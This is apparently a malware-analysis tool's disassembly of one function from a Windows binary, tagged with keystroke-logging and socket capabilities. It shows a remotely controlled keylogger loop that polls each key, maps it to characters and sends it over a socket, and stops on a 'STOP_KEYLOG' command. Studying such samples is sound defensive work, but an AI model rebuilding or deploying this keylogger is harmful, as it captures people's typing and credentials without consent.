Function at 0x140001f00
Capabilities:
Log keystrokes via polling
Receive data
Receive data on socket
Send data
Send data on socket
Set socket configuration

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xf80]
mov eax, 0x1080
call fcn.140005db0
sub rsp, rax
mov rax, qword [0x14000b040]
xor rax, rsp
mov qword [rbp + 0xf70], rax
mov r13, rcx
mov dword [rsp + 0x20], 1
lea r8, [rsp + 0x20]
mov edx, 0x8004667e
mov rcx, qword [rcx + 0x10]
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov r14b, 8
lea rdi, [0x140000000]
movabs rsi, 0x8000000000000000
movabs r12, 0x7fffffffffffffff
mov r15d, socket
movsx ebx, r14b
mov ecx, ebx
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140002406
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetKeyState]
movzx edx, ax
shr edx, 0xf
and dl, 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x38], 0
mov r8d, recv
mov qword [rsp + 0x40], r8
mov byte [rsp + 0x28], 0
lea ecx, [r14 - 0x41]
cmp cl, 0x19
ja 0x140002016
test dl, dl
je 0x140001fe2
movzx ecx, r14b
lea rax, [rsp + 0x28]
jmp 0x140001ffd
mov ecx, ebx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
mov ecx, eax
lea rax, [rsp + 0x28]
cmp qword [rsp + 0x40], 0xf
cmova rax, qword [rsp + 0x28]
mov qword [rsp + 0x38], 1
mov byte [rax], cl
mov byte [rax + 1], 0
mov r8, qword [rsp + 0x40]
jmp 0x1400022a1
lea eax, [r14 - 0x30]
cmp al, 9
ja 0x1400021dc
test dl, dl
je case.default.0x140002042
lea eax, [rbx - 0x30]
cmp eax, 9
ja case.default.0x140002042
cdqe
mov ecx, dword [rdi + rax*4 + 0x24b4]
add rcx, rdi
jmp rcx
mov qword [rsp + 0x38], 1
mov word [rsp + 0x28], 0x21
lea rdx, [rsp + 0x28]
xor r9d, r9d
mov r8d, dword [rsp + 0x38]
mov rcx, qword [r13 + 0x10]
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
mov r8d, 0xfff
lea rdx, [rsp + 0x70]
mov rcx, qword [r13 + 0x10]
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x1400023c1
cdqe
cmp rax, 0x1000
jae 0x1400024a2
mov byte [rsp + rax + 0x70], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rax, [rsp + 0x70]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400020b2
cmp rbx, r12
ja 0x1400024ae
cmp rbx, 0xf
ja 0x1400022ba
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], recv
mov r8, rbx
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x48]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x48], 0
mov rdi, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x48]
jmp 0x140002344
mov qword [rsp + 0x38], 1
mov word [rsp + 0x28], 0x40
jmp 0x140002054
mov qword [rsp + 0x38], 1
mov word [rsp + 0x28], 0x23
jmp 0x140002054
mov qword [rsp + 0x38], 1
mov word [rsp + 0x28], 0x24
jmp 0x140002054
mov qword [rsp + 0x38], 1
mov word [rsp + 0x28], 0x25
jmp 0x140002054
mov qword [rsp + 0x38], 1
mov word [rsp + 0x28], 0x5e
jmp 0x140002054
mov qword [rsp + 0x38], 1
mov word [rsp + 0x28], 0x26
jmp 0x140002054
mov qword [rsp + 0x38], 1
mov word [rsp + 0x28], 0x2a
jmp 0x140002054
mov qword [rsp + 0x38], 1
mov word [rsp + 0x28], 0x28
jmp 0x140002054
mov qword [rsp + 0x38], 1
mov word [rsp + 0x28], 0x29
jmp 0x140002054
mov qword [rsp + 0x38], 1
mov byte [rsp + 0x28], r14b
mov byte [rsp + 0x29], 0
jmp 0x140002054
cmp r14b, 0x20
jne 0x1400021f7
mov qword [rsp + 0x38], 1
mov word [rsp + 0x28], 0x20
jmp 0x140002054
cmp r14b, 0xd
jne 0x140002212
mov qword [rsp + 0x38], 1
mov word [rsp + 0x28], 0xa
jmp 0x140002054
cmp r14b, 9
jne 0x14000222d
mov qword [rsp + 0x38], 1
mov word [rsp + 0x28], 9
jmp 0x140002054
cmp r14b, 8
jne 0x140002268
mov qword [rsp + 0x38], reloc.WS2_32.dll_inet_addr
movsd xmm0, qword [str._BACKSPACE_]
movsd qword [rsp + 0x28], xmm0
movzx eax, word [0x1400076e8]
mov word [rsp + 0x30], ax
movzx eax, byte [0x1400076ea]
mov byte [rsp + 0x32], al
mov byte [rsp + 0x33], 0
jmp 0x1400022a1
lea eax, [r14 - 0x10]
cmp al, 1
jbe 0x140002406
cmp r14b, 0x1b
jne 0x140002054
mov qword [rsp + 0x38], 5
mov eax, dword [str._ESC_]
mov dword [rsp + 0x28], eax
movzx eax, byte [0x1400076f0]
mov byte [rsp + 0x2c], al
mov byte [rsp + 0x2d], 0
lea rdx, [rsp + 0x28]
cmp r8, 0xf
jbe 0x140002059
mov rdx, qword [rsp + 0x28]
jmp 0x140002059
mov rdi, rbx
or rdi, 0xf
cmp rdi, r12
jbe 0x1400022cf
mov rdi, r12
lea rax, [rsi + 0x27]
jmp 0x1400022f1
cmp rdi, 0x16
cmovb rdi, r15
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x140002310
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400024a8
mov rcx, rax
call fcn.140004e60
test rax, rax
je 0x14000240e
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140002321
test rcx, rcx
je 0x14000231f
call fcn.140004e60
mov rsi, rax
jmp 0x140002321
xor esi, esi
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rdi
mov r8, rbx
lea rdx, [rsp + 0x70]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], 0
lea rcx, [rsp + 0x48]
cmp rdi, 0xf
seta r15b
cmova rcx, rsi
cmp rbx, 0xb
jne 0x140002372
mov r8, rbx
lea rdx, str.STOP_KEYLOG
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140002372
mov bl, 1
jmp 0x140002374
xor bl, bl
test r15b, r15b
je 0x1400023a6
lea rdx, [rdi + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x14000239e
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000240e
mov rcx, rsi
call fcn.140004ea4
test bl, bl
jne 0x140002415
lea rdi, [0x140000000]
movabs rsi, 0x8000000000000000
mov r15d, socket
mov rdx, qword [rsp + 0x40]
cmp rdx, 0xf
jbe 0x140002406
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400023f9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000249b
call fcn.140004ea4
inc r14b
jmp 0x140001f81
inc r14b
jmp 0x140001f81
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov dword [rsp + 0x20], 0
lea r8, [rsp + 0x20]
mov edx, 0x8004667e
mov rcx, qword [r13 + 0x10]
call qword [sym.imp.WS2_32.dll_ioctlsocket]
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, 0xf
jbe 0x14000246b
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002466
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000249b
call fcn.140004ea4
mov rcx, qword [rbp + 0xf70]
xor rcx, rsp
call fcn.140004e40
lea r11, [rsp + 0x1080]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140004fe0
nop
call fcn.140001120
int3
call fcn.1400011c0
int3